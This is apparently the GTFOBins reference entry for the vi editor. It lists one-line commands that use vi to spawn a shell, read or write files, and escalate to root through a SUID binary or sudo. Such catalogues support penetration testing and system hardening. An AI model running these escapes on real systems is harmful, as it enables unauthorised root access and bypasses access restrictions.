GTFOBins.github.io/_gtfobins/vi.md
2018-07-04 19:26:52 +01:00

329 B

functions
execute-interactive file-write file-read suid-enabled sudo-enabled
code
vi -c ':!/bin/sh'
code
vi :set shell=/bin/sh :shell
code
vi file_to_write w
code
vi file_to_read
code
./vi -c ':!/bin/sh -p'
code
sudo vi -c ':!/bin/sh'